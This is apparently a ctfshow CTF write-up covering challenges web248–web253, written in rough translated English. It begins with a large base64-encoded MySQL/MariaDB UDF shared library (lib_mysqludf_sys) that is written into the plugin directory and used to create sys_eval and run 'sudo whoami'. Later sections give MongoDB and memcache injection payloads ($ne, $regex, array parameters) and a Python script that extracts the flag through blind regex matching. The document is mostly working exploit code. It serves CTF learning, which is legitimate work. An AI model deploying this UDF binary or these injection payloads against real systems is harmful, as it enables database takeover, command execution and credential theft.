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AAAAAAAAAAAAH0AAAABAAAAAgAAAAAAAAAAEwAAAAAAAAATAAAAAAAAFAIAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACHAAAAAQAAAAMAAAAAAAAAGBUgAAAAAAAYFQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAjgAAAAEAAAADAAAAAAAAACgVIAAAAAAAKBUAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJUAAAABAAAAAwAAAAAAAAA4FSAAAAAAADgVAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACaAAAABgAAAAMAAAAAAAAAQBUgAAAAAABAFQAAAAAAAJABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAowAAAAEAAAADAAAAAAAAANAWIAAAAAAA0BYAAAAAAAAYAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAKgAAAABAAAAAwAAAAAAAADoFiAAAAAAAOgWAAAAAAAAmAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACxAAAAAQAAAAMAAAAAAAAAgBcgAAAAAACAFwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAtwAAAAgAAAADAAAAAAAAAIgXIAAAAAAAiBcAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALwAAAABAAAAAAAAAAAAAAAAAAAAAAAAAIgXAAAAAAAAmwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAjGAAAAAAAAMUAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA'|base64 -d > /usr/lib/mariadb/plugin/udf.so

create function sys_eval returns string soname 'udf.so';

select sys_eval("sudo whoami");

web249

start nosql,flag stay flag in

sql statement

  //nothing
  $user = $memcache->get($id);
      

I really don't understand

https://www.anquanke.com/post/id/97211

http://rui0.cn/archives/609

Then I fell in love with the array inside

/api/?id[]=flag

web250

sql statement

  $query = new MongoDB\Driver\Query($data);
  $cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
      

Return logic

  //No filtering
  if(count($cursor)>0){
    $ret['msg']='Login successful';
    array_push($ret['data'], $flag);
  }
      

Or what was written in the previous article ($ne means unequal)

username[$ne]=1&password[$ne]=1

web251

Or a payload

But the echo is not a flag, but

{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"61de6a5b504d14f773a7a95b"},"username":"admin","password":"ctfshow666nnneeaaabbbcc"}]}

Changing to username is not equal to admin

username[$ne]=admin&password[$ne]=1

web252

sql statement

  //sql
  db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
      

Return logic

  //No filtering
  if(count($cursor)>0){
    $ret['msg']='Login successful';
    array_push($ret['data'], $flag);
  }
      

mongodb's find() The function of the pretty () method.

This makes the queried data more aesthetically displayed on the command line without being too close together.

Then log in and test. If you find admin and admin1, use regular to make them both claw

username[$regex]=^[^admin].*$&password[$ne]=1

web253

sql statement

  //sql
  db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
      

Return logic

  //No filtering
  if(count($cursor)>0){
    $ret['msg']='Login successful';
    array_push($ret['data'], $flag);

With the previous payload, the echo is that the login is successful but there is no flag

So we take the form of blind note and use regular matching to get the flag, first payload1 and data1, and then 2

import requests
import string
table = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
url = 'http://b4a88d5f-235b-4e06-b7b9-3cf10e9c26de.challenge.ctf.show/api/index.php'
flag = ''
for i in range(100):
    for j in table:
        tmp = flag+j
        payload1 = f'f{tmp}.*$'
        data1 = {'username[$regex]':payload1
                ,'password[$ne]':1}

        payload2 = f'^{tmp}.*$'
        data2 = {'username[$regex]':'flag'
                 ,'password[$regex]':payload2}
        r = requests.post(url=url, data=data2).text
        if r"\u767b\u9646\u6210\u529f" in r:
            flag += j
            print(flag)
            break

Keywords: SQL CTF Information Security ctfshow

Added by devarticles on Thu, 03 Feb 2022 10:31:56 +0200